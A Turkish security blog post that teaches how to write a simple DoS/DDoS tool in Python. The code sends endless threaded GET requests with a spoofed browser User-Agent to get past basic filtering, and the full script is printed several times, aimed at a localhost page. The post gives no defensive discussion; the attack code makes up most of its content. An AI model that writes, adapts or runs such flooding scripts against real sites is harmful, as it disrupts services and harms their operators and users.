Secure Web Turkey
  • cPanel Optimizasyon
  • Sunucu Optimizasyon
  • Script Zafiyet Kontrolü
  • Hakkımızda
  • İletişim
Sonuç yok
Tüm sonuçları gör
Secure Web Turkey
  • cPanel Optimizasyon
  • Sunucu Optimizasyon
  • Script Zafiyet Kontrolü
  • Hakkımızda
  • İletişim
Sonuç yok
Tüm sonuçları gör
Secure Web Turkey
Sonuç yok
Tüm sonuçları gör

Python ile DoS Aracı Nasıl Yazılır ?

linux Yazar linux
Aralık 18, 2020
Genel, Network
4 dk okuma süresi

Python ile DoS Aracı Nasıl Yazılır ?

Python ile GET ve POST isteklerini requests gibi modüllerle kolaylıkla atabiliyoruz bu konumuzda basit bir Dos DDoS aracı nasıl yazılır mantığı nedir onu göstereceğiz.

Mantık:

Genel mantığımız hedefe sürekli bir GET isteği atmak olacak fakat düz bir GET isteği her zaman kabul edilmeyebilir birçok site User-Agent’ı olmayan bağlantıları kabul etmez. Bu nedenle User-Agent gibi gerekli şeyleri de programımıza eklemeliyiz.
Gerekli ayarlarımızı yaptıktan sonra programımızı bir döngüye alıp çalıştıracağız.

User Agent Ayarları:

User Agent Kullanıcı Ajanı manasına gelir. Tarayıcı kullanan herkesin tarayıcısına göre bir user agent değeri vardır. Bunu öğrenmek için google arama çubuğuna “whats my user agent” yazabilirsiniz.

Böylelikle user agent değerinizi görmüş oldunuz.
Peki ne işimize yarayacak ?
Az önce bahsettiğim gibi birçok site user agentınız yoksa işlem yapmayabilir.
Bu nedenle ilk öncelikle bir user agent tanımlamalıyız. Requests modülü ile düz istek atarken bize python-requests/2.22.0 gibi user agentler tanımlar fakat bunları bir çok site engellemektedir.
Requests modülünde user agent tanımlaması:

headers={"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"}

İstek attığımız kodun sonuna sadece headers=headers ekliyoruz.

r=requests.get("http://127.0.0.1/ddos.php",headers=headers)

Böylelikle User-Agent tanımladık.

While döngüsüne alıp isteğimizi atabiliriz.

import requests
headers={"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"}
while True:
    r=requests.get("http://127.0.0.1/ddos.php",headers=headers)
    print(r.status_code)#bağlantının başarılı olup olmadığını gördük.

Evet fakat bu biraz yetersiz kalıyor isterseniz multi threading ile işlemleri daha da güçlendirelim.

Multi Threading nedir derseniz Çoklu kullanım anlamın geliyor işlemleri aynı anda yapmamızı sağlamakta.

from threading import Thread kodu ile threading modülünü import ediyoruz.

Threading modülünü kullanabilmek için def() fonksiyonunu kullanmalıyız.

def d1() diyerek d1 adında fonksiyon tanımlıyoruz.

import requests
from threading import Thread
headers={"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"}
def d1():
    while True:
        r=requests.get("http://127.0.0.1/ddos.php",headers=headers)
        print(r.status_code)

Şimdi bu güzel kodumuza Threading modülünü tanımlayalım.

t1=Thread(target = d1)
t2=Thread(target = d1)

t1.start()
t2.start()

Burada tanımlamalarımızı yapıp çalıştırdık.

Programımızı çalıştıralım.

Çıktılar 200 yani bağlantı başarılı. Bu basit bir araç.

Tüm kod:

import requests
#secure.web.tr
from threading import Thread
headers={"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"}
def d1():
    while True:
        r=requests.get("http://127.0.0.1/ddos.php",headers=headers)
        print(r.status_code)
t1=Thread(target = d1)
t2=Thread(target = d1)
#www.secure.web.tr

t1.start()
t2.start()

Okuduğunuz için teşekkürler.

Bir başka konumuz:

Python ile Brute Force Yapımı
Etiketler: ddosddos aracı yazma
PaylaşTweetPin

İlişkili Yazılar

HTTP DURUM KODLARI
Genel

HTTP DURUM KODLARI

HTTP Nedir? Adını çok sıklıkla duyduğumuz HTTP 1990 yılından beri dünya çapında yaygın kullanılan bir ağ protokolüdür. Açılımı "Hyper Text...

Ocak 3, 2022
XSS(Cross Site Scripting) Nedir?
Genel

XSS(Cross Site Scripting) Nedir?

XSS(Cross Site Scripting) Yazılımcının kullanıcıdan aldığı veriyi backend tarafta hiçbir filtre yapmadan yeniden kulllanıcıya sunması sebebiyle ortaya çıkan bir zafiyettir....

Aralık 20, 2021
Yetki Yükseltme (Privilege Escalation) Nedir ?
Genel

Yetki Yükseltme (Privilege Escalation) Nedir ?

Yetki Yükseltme (Privilege Escalation) Nedir ? Yetki Yükseltme (Privilege Escalation) Nedir ? Yetki yükseltme adından anlaşılacağı gibi bir sistemde daha...

Aralık 24, 2020
Root Nedir ?
Genel

Root Nedir ?

Root Nedir ? Root Nedir ? Root kök kullanıcı anlamına gelir. Linux ve Unix temelli sistemlerde ful yetkiye sahip kullanıcıdır. Root Nerelerde...

Aralık 21, 2020

Yorumlar 1

  1. Geri bildirim: Root Nedir ? – Secure Web Turkey

Bir cevap yazın Cevabı iptal et

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Solve : *
16 + 26 =


Önerilen

bWAPP Nedir ? Nasıl Kurulur ?

bWAPP Nedir ? Nasıl Kurulur ?

Aralık 3, 2020
DoS DDoS Saldırılarının Siteye Etkisi Nedir ? Nasıl Korunulur ?

DoS DDoS Saldırılarının Siteye Etkisi Nedir ? Nasıl Korunulur ?

Kasım 29, 2020
Whois Nedir ?

Whois Nedir ?

Aralık 14, 2020
LFI açığını RCE açığına dönüştürmek

LFI açığını RCE açığına dönüştürmek

Kasım 29, 2020
  • Hakkımızda
  • İletişim
  • Script Zafiyet Kontrolü
  • Cms Güvenliği
  • cPanel Optimizasyon
+90536 680 3775
Sonuç yok
Tüm sonuçları gör
  • Ana Sayfa
  • Cms Güvenliği
  • cPanel Optimizasyon
  • Hakkımızda
  • İletişim
  • Script Zafiyet Kontrolü